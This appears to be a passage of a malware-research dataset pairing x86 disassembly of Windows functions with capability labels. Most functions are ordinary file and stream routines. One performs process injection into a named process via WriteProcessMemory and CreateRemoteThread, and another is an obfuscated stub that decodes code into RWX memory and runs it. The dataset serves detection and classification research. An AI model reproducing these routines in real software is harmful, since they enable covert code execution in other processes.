joyce8/EMBER2024-capa huggingface dataset:
Function at 0x102852d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x10e506c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
mov eax, 0xffff
push edi
mov edi, ecx
cmp ax, bx
jne 0x1028552
xor eax, eax
jmp 0x10285ae
mov eax, dword [edi + 0x20]
push esi
mov ecx, dword [eax]
test ecx, ecx
je 0x102857f
mov edx, dword [edi + 0x30]
mov esi, dword [edx]
lea eax, [ecx + esi*2]
cmp ecx, eax
jae 0x102857f
lea ecx, [esi - 1]
mov dword [edx], ecx
mov edx, dword [edi + 0x20]
mov esi, dword [edx]
lea ecx, [esi + 2]
mov dword [edx], ecx
mov word [esi], bx
jmp 0x1028633
cmp dword [edi + 0x4c], 0
je 0x10285a8
mov ecx, edi
call fcn.01028050
mov eax, dword [edi + 0x38]
mov dword [ebp - 0x2c], eax
test eax, eax
jne 0x10285be
push dword [edi + 0x4c]
push ebx
call fcn.01027695
pop ecx
test al, al
movzx eax, bx
pop ecx
jne 0x10285ad
mov eax, 0xffff
pop esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.0103f8a5
leave
ret 4
mov word [ebp - 0x28], bx
mov eax, dword [eax]
mov esi, dword [eax + 0x1c]
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 4]
mov ecx, esi
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x26]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [edi + 0x40]
push eax
call dword [0x108a26c]
mov ecx, dword [ebp - 0x2c]
call esi
test eax, eax
js 0x10285a8
cmp eax, 1
jle 0x1028606
cmp eax, 3
jne 0x10285a8
push dword [edi + 0x4c]
push dword [ebp - 0x28]
jmp 0x102859a
mov esi, dword [ebp - 0x30]
lea eax, [ebp - 0x24]
sub esi, eax
je 0x1028623
push dword [edi + 0x4c]
push esi
push 1
push eax
call fcn.01061cf9
add esp, 0x10
cmp esi, eax
jne 0x10285a8
lea eax, [ebp - 0x28]
mov byte [edi + 0x3e], 1
cmp dword [ebp - 0x34], eax
je 0x10285a8
mov ax, bx
jmp 0x10285ad

Function at 0x1072bc7
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.010727cf

Function at 0x1072bd2
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.01072950

Function at 0x107abf8
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0107a538

Function at 0x107ac03
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0107a773

Function at 0x1085fa6
Capabilities:
Create thread
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.01085e11
Function at 0x1000f2ff
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x1000f30e
pop dword [ebp - 0x48]
mov eax, 0x55c168cb
add eax, 0xba3f8a43
sub dword [ebp - 0x48], eax
push 0x40
push 0x1000
push 0x3e8ed
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x48]
call dword [eax]
mov ecx, 0x3a93
mov edi, eax
mov esi, 0xc9d621b1
sub esi, 0xb9be19b1
add esi, dword [ebp - 0x48]
mov ebx, 0xb8b43780
sub ebx, 0x72220feb
sub dword [ebp - 0x44], 0xe8f5c30e
mov edx, dword [esi]
add dword [ebp - 0x1c], 0x55af609
add edx, ebx
xor dword [ebp - 0x18], esi
mov dword [edi], edx
add dword [ebp - 0x44], 0x3f4a31b8
add edi, 0xf21de50d
sub edi, 0xf21de509
add esi, 0xdb84bd84
add esi, 0x247b4280
loop 0x1000f362
add eax, 0xdd1f
xor ebx, ebx
add ebx, eax
add eax, 0xa0e88ed9
sub eax, 0xa0e88ed4
mov ecx, 0x3d69ed65
sub ecx, 0x2d69ed65
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x1006d523
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
cmp byte [esi + 0x2d], 0
jne 0x1006d5a6
push ebx
mov ebx, dword [ebp + 0x10]
lea eax, [ebp + 8]
push edi
push 0
push eax
push ebx
push dword [ebp + 0xc]
push dword [esi + 0x30]
call dword [sym.imp.kernel32.dll_ReadFile]
mov edi, dword [ebp + 8]
cmp edi, ebx
je 0x1006d570
mov byte [esi + 0x2d], 0xff
test edi, edi
je 0x1006d570
cmp edi, ebx
jge 0x1006d570
mov eax, ebx
sub eax, edi
push eax
mov eax, dword [ebp + 0xc]
add eax, edi
push 0
push eax
call sub.MSVCR120.dll_memset
add esp, 0xc
cmp dword [esi + 0x18], 0
je 0x1006d5a0
add dword [esi + 0x1c], ebx
cmp dword [esi + 0x1c], 0xffff
jle 0x1006d5a0
xor eax, eax
mov word [esi + 0x1e], ax
mov eax, dword [esi]
push esi
call dword [eax + 0x2c]
mov ecx, dword [esi + 0x18]
push 1
push dword [esi + 0x20]
mov edx, dword [ecx]
push eax
push ecx
call dword [edx + 0xc]
mov edi, dword [ebp + 8]
mov eax, edi
pop edi
pop ebx
jmp 0x1006d5b8
push dword [ebp + 0x10]
push 0
push dword [ebp + 0xc]
call sub.MSVCR120.dll_memset
add esp, 0xc
xor eax, eax
pop esi
pop ebp
ret 0xc

Function at 0x1006d792
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x100b4850]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x1016f148], 0
mov eax, dword [ebp + 8]
je 0x1006d7ba
push eax
call dword [sym.imp.kernel32.dll_DeleteFileW]
jmp 0x1006d7d4
lea ecx, [ebp - 0x108]
push ecx
push eax
call fcn.1000f2ff
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.kernel32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
test eax, eax
setne al
xor ecx, ebp
call fcn.10070e7b
mov esp, ebp
pop ebp
ret 4

Function at 0x1006d97b
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x310
mov eax, dword [0x100b4850]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x1016f148], 0
push ebx
mov ebx, dword [ebp + 0x14]
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
je 0x1006d9b1
push ebx
push dword [ebp + 0x10]
push edi
push esi
call dword [sym.imp.kernel32.dll_GetTempFileNameW]
jmp 0x1006da17
push 0x103
lea eax, [ebp - 0x107]
mov byte [ebp - 0x108], 0
push 0
push eax
call sub.MSVCR120.dll_memset
add esp, 0xc
lea eax, [ebp - 0x310]
push eax
push esi
call fcn.1000f2ff
lea eax, [ebp - 0x20c]
push eax
push edi
call fcn.1000f2ff
lea eax, [ebp - 0x108]
push eax
push dword [ebp + 0x10]
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x310]
push eax
call dword [sym.imp.kernel32.dll_GetTempFileNameA]
mov esi, eax
lea eax, [ebp - 0x108]
push ebx
push eax
call fcn.1000f2ff
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10070e7b
mov esp, ebp
pop ebp
ret 0x10
Function at 0x1006da2a
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x100b4850]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x1016f148], 0
push esi
mov esi, dword [ebp + 0xc]
je 0x1006da56
push esi
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetTempPathW]
jmp 0x1006da87
lea eax, [ebp - 0x108]
push eax
push 0x104
call dword [sym.imp.kernel32.dll_GetTempPathA]
test eax, eax
je 0x1006da85
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push esi
push eax
call fcn.1000f2ff
push esi
call dword [sym.imp.kernel32.dll_lstrlenW]
jmp 0x1006da87
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.10070e7b
mov esp, ebp
pop ebp
ret 8
Function at 0x401390
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate processes
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x254
mov eax, dword [0x4c2040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x401559
lea eax, [ebp - 0x248]
mov dword [ebp - 0x248], 0x22c
push eax
push esi
xor ebx, ebx
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x401418
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpW]
nop
push 0x40632c
lea eax, [ebp - 0x224]
push eax
call edi
test eax, eax
je 0x401406
lea eax, [ebp - 0x248]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x4013e0
jmp 0x401418
push dword [ebp - 0x240]
push 0
push 0x2a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x401559
mov esi, dword [0x40651c]
push 0x40
push 0x3000
mov dword [ebp - 0x250], esi
push dword [esi + 0x406530]
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0
push dword [esi + 0x406534]
mov dword [ebp - 0x24c], eax
push 0x4064e0
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor eax, eax
xor edi, edi
cmp ax, word [esi + 0x4064e6]
jae 0x4014aa
lea esi, [esi + 0x4065ec]
mov eax, dword [esi]
push 0
push dword [esi - 4]
add eax, 0x4064e0
push eax
mov eax, dword [esi - 8]
add eax, dword [ebp - 0x24c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x250]
lea esi, [esi + 0x28]
inc edi
movzx eax, word [eax + 0x4064e6]
cmp edi, eax
jl 0x401477
push 0x20
push 0x3000
push 0x1000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
mov eax, dword [ebp - 0x24c]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.RtlZeroMemory
push str.ntdll
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call esi
push 0
push 0x10
mov dword [ebp - 8], eax
lea eax, [ebp - 0x14]
push eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
mov eax, fcn.00401380
lea esi, [edi + 0x10]
sub eax, 0x401220
push eax
push 0x401220
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0xffffffffffffffff
push 0
push 0
push edi
push esi
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8000
push 0
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404058
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404058
mov esp, ebp
pop ebp
ret
Function at 0x402140
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x4c2040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
mov dword [ebp - 0x130], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0x130]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x4021b3
mov edi, dword [sym.imp.KERNEL32.dll_Process32Next]
mov ebx, dword [sym.imp.api_ms_win_crt_multibyte_l1_1_0.dll__mbsicmp]
nop word [eax + eax]
lea eax, [ebp - 0x10c]
push 0x40640c
push eax
call ebx
add esp, 8
test eax, eax
je 0x4021cd
lea eax, [ebp - 0x130]
push eax
push esi
call edi
test eax, eax
jne 0x402190
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404058
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x40641c
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
je 0x4021ea
mov eax, 1
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404058
mov esp, ebp
pop ebp
ret
Function at 0x4024c0
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x405190
mov eax, dword fs:[0]
push eax
sub esp, 0x140
mov eax, dword [0x4c2040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x104
lea eax, [ebp - 0x118]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x14c]
call fcn.00402200
mov ecx, eax
mov dword [ebp - 4], 0
mov eax, dword [ecx + 0x14]
mov edx, dword [ecx + 0x10]
sub eax, edx
cmp eax, 4
jb 0x402545
cmp dword [ecx + 0x14], 0xf
lea eax, [edx + 4]
mov dword [ecx + 0x10], eax
mov eax, ecx
jbe 0x402537
mov eax, dword [ecx]
mov dword [eax + edx], 0x6578652e
mov byte [eax + edx + 4], 0
jmp 0x402562
push 4
push str..exe
mov byte [ebp - 0x11c], 0
push dword [ebp - 0x11c]
push 4
call fcn.00403a10
mov ecx, eax
mov dword [ebp - 0x124], 0
lea eax, [ebp - 0x134]
mov dword [ebp - 0x120], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x134], xmm0
movups xmm0, xmmword [ecx]
movups xmmword [ebp - 0x134], xmm0
movq xmm0, qword [ecx + 0x10]
movq qword [ebp - 0x124], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
cmp dword [ebp - 0x120], 0xf
cmova eax, dword [ebp - 0x134]
push eax
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_rename]
mov ecx, dword [ebp - 0x120]
add esp, 8
cmp ecx, 0xf
jbe 0x402603
mov edx, dword [ebp - 0x134]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4025f9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402651
push ecx
push edx
call fcn.004045c4
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x138]
mov dword [ebp - 0x124], 0
mov dword [ebp - 0x120], 0xf
mov byte [ebp - 0x134], 0
cmp ecx, 0xf
jbe 0x402661
mov edx, dword [ebp - 0x14c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402657
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x402657
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004045c4
add esp, 8
mov dword [ebp - 0x13c], 0
mov dword [ebp - 0x138], 0xf
mov byte [ebp - 0x14c], 0
call fcn.00402480
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00404058
mov esp, ebp
pop ebp
ret
Function at 0x402a10
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx + 0x38], 0
je 0x402a3c
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const___long_long___int64__]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x20]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x20], esi
mov ecx, dword [eax]
lea eax, [ebx + 0x30]
mov dword [esp + 0x24], edi
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], eax
test ecx, ecx
je 0x402a64
mov eax, dword [eax]
mov ecx, dword [eax]
jmp 0x402a6a
xor ecx, ecx
mov dword [esp + 0x18], eax
mov eax, ecx
cdq
mov dword [esp + 0x10], eax
mov ecx, edx
mov dword [esp + 0x14], ecx
test edi, edi
jl 0x402ad2
jg 0x402a81
test esi, esi
je 0x402ad2
test ecx, ecx
jl 0x402acd
jg 0x402a8b
test eax, eax
je 0x402acd
cmp edi, ecx
jg 0x402a9f
jl 0x402a95
cmp esi, eax
jae 0x402a9f
mov eax, esi
mov dword [esp + 0x10], esi
mov dword [esp + 0x14], edi
push eax
push dword [ebp + 8]
push dword [esp + 0x24]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [esp + 0x24]
add esp, 0xc
mov edx, dword [esp + 0x10]
mov ecx, dword [ebp + 8]
add ecx, edx
sub esi, edx
mov eax, dword [eax]
sbb edi, dword [esp + 0x14]
sub dword [eax], edx
mov eax, dword [ebx + 0x20]
add dword [eax], edx
jmp 0x402ad5
mov ecx, dword [ebp + 8]
jmp 0x402adf
mov ecx, dword [ebp + 8]
test edi, edi
jl 0x402af9
jg 0x402adf
test esi, esi
je 0x402af9
mov eax, dword [ebx + 0x4c]
test eax, eax
je 0x402af9
push eax
push esi
push 1
push ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x402b10
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
mov dword [ebp - 4], esi
test eax, eax
jg 0x402b3c
jl 0x402b30
test ecx, ecx
jne 0x402b3c
pop esi
xor eax, eax
xor edx, edx
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x402b55
push eax
push ecx
push esi
mov ecx, ebx
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char___long_long___int64__]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x1c]
push edi
mov edi, ecx
mov eax, dword [eax]
mov dword [ebp - 8], eax
test eax, eax
je 0x402ba3
mov eax, dword [ebx + 0x2c]
lea edx, [ebx + 0x2c]
mov dword [ebp - 0xc], edx
mov eax, dword [eax]
test eax, eax
je 0x402ba9
mov edi, dword [ebp - 4]
cmp eax, ecx
mov esi, ecx
cmovb esi, eax
push esi
push dword [ebp - 8]
push edi
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebx + 0x2c]
add edi, esi
mov dword [ebp - 4], edi
add esp, 0xc
mov edi, dword [ebp + 0xc]
sub edi, esi
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
mov esi, dword [ebp - 4]
jmp 0x402ba9
lea eax, [ebx + 0x2c]
mov dword [ebp - 0xc], eax
cmp dword [ebx + 0x4c], 0
je 0x402c16
mov ecx, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [ecx], eax
jne 0x402bd2
mov eax, dword [ebx + 0xc]
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
mov dword [eax], edx
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
cmp edi, 0xfff
jbe 0x402c04
nop
push dword [ebx + 0x4c]
push 0xfff
push 1
push esi
call eax
add esp, 0x10
add esi, eax
sub edi, eax
cmp eax, 0xfff
jne 0x402c16
cmp edi, eax
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
ja 0x402be0
test edi, edi
je 0x402c16
push dword [ebx + 0x4c]
push edi
push 1
push esi
call eax
add esp, 0x10
sub edi, eax
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, edi
pop edi
pop esi
sbb edx, 0
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x402f90
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x4c2040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x402fc0
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404058
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esi + 0x20]
push edi
mov ecx, dword [eax]
test ecx, ecx
je 0x402ffc
mov edx, dword [esi + 0x30]
mov edi, dword [edx]
lea eax, [edi + ecx]
cmp ecx, eax
jae 0x402ffc
lea ecx, [edi - 1]
mov eax, ebx
mov dword [edx], ecx
mov edx, dword [esi + 0x20]
pop edi
mov esi, dword [edx]
lea ecx, [esi + 1]
mov dword [edx], ecx
mov byte [esi], bl
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404058
mov esp, ebp
pop ebp
ret 4
cmp dword [esi + 0x4c], 0
je 0x4030d3
mov edi, dword [esi + 0xc]
lea eax, [esi + 0x3c]
cmp dword [edi], eax
jne 0x403024
mov edx, dword [esi + 0x54]
mov ecx, dword [esi + 0x50]
sub edx, ecx
mov dword [edi], ecx
mov eax, dword [esi + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi + 0x2c]
mov dword [eax], edx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x403030
movsx eax, bl
jmp 0x403068
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x25], bl
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x25]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet___char_const___char_const___char_const____char___char___char___const]
sub eax, 0
je 0x403092
sub eax, 1
je 0x403092
sub eax, 2
jne 0x4030d3
movsx eax, byte [ebp - 0x25]
push dword [esi + 0x4c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmove ebx, ecx
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404058
mov esp, ebp
pop ebp
ret 4
mov edi, dword [ebp - 0x2c]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x4030b0
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x4030d3
lea ecx, [ebp - 0x25]
mov byte [esi + 0x3d], 1
or eax, 0xffffffff
cmp dword [ebp - 0x30], ecx
pop edi
pop esi
cmovne eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404058
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404058
mov esp, ebp
pop ebp
ret 4
Function at 0x403640
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x4c2040]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
cmp dword [esi + 0x38], 0
je 0x4036fc
cmp byte [esi + 0x3d], 0
je 0x4036fc
mov eax, dword [esi]
push edi
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x4036ea
mov ecx, dword [esi + 0x38]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet___char___char___char___const]
sub eax, 0
je 0x4036b1
sub eax, 1
je 0x4036b5
sub eax, 2
jne 0x4036ea
mov byte [esi + 0x3d], al
mov al, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404058
mov esp, ebp
pop ebp
ret
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x4036d3
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x4036ea
cmp byte [esi + 0x3d], 0
pop edi
sete al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404058
mov esp, ebp
pop ebp
ret
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404058
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop esi
call fcn.00404058
mov esp, ebp
pop ebp
ret
Function at 0x403e50
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
push edi
mov dword [ebp - 4], esi
mov eax, dword [esi]
cmp eax, 0x270
jne 0x403ead
lea edx, [esi + 8]
mov edi, eax
nop dword [eax]
mov ecx, dword [edx]
lea edx, [edx + 4]
xor ecx, dword [edx - 8]
and ecx, 0x7fffffff
xor ecx, dword [edx - 8]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx + 0x62c]
xor eax, ecx
mov dword [edx + 0x9b8], eax
sub edi, 1
jne 0x403e70
mov eax, dword [esi]
jmp 0x403f8b
cmp eax, 0x4e0
jb 0x403f8b
lea edi, [esi + 0x9c4]
mov esi, 0xe3
push ebx
mov ebx, dword [edi]
lea edx, [edi]
mov eax, ebx
mov ebx, dword [edx + 4]
lea edi, [edx + 4]
mov ecx, ebx
xor ecx, eax
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx + 0x634]
xor eax, ecx
mov dword [edx - 0x9c0], eax
sub esi, 1
jne 0x403ec6
mov edi, dword [ebp - 4]
mov esi, 0x18c
add edi, 0xd50
mov ebx, dword [edi]
mov eax, ebx
lea edx, [edi]
mov ebx, dword [edx + 4]
lea edi, [edx + 4]
mov ecx, eax
xor ecx, ebx
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx - 0xd4c]
xor eax, ecx
mov dword [edx - 0x9c0], eax
sub esi, 1
jne 0x403f11
mov esi, dword [ebp - 4]
pop ebx
mov eax, dword [esi + 0x1380]
mov ecx, dword [esi + 4]
xor ecx, eax
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [esi + 0x634]
xor eax, ecx
mov dword [esi + 0x9c0], eax
xor eax, eax
mov dword [esi], 0
mov edx, dword [esi + eax*4 + 4]
inc eax
mov dword [esi], eax
mov ecx, edx
mov eax, dword [esi + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
pop edi
xor eax, edx
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x404b7c
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x404bbb
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x404bbb
mov ecx, dword [eax + 0x3c]
add ecx, eax
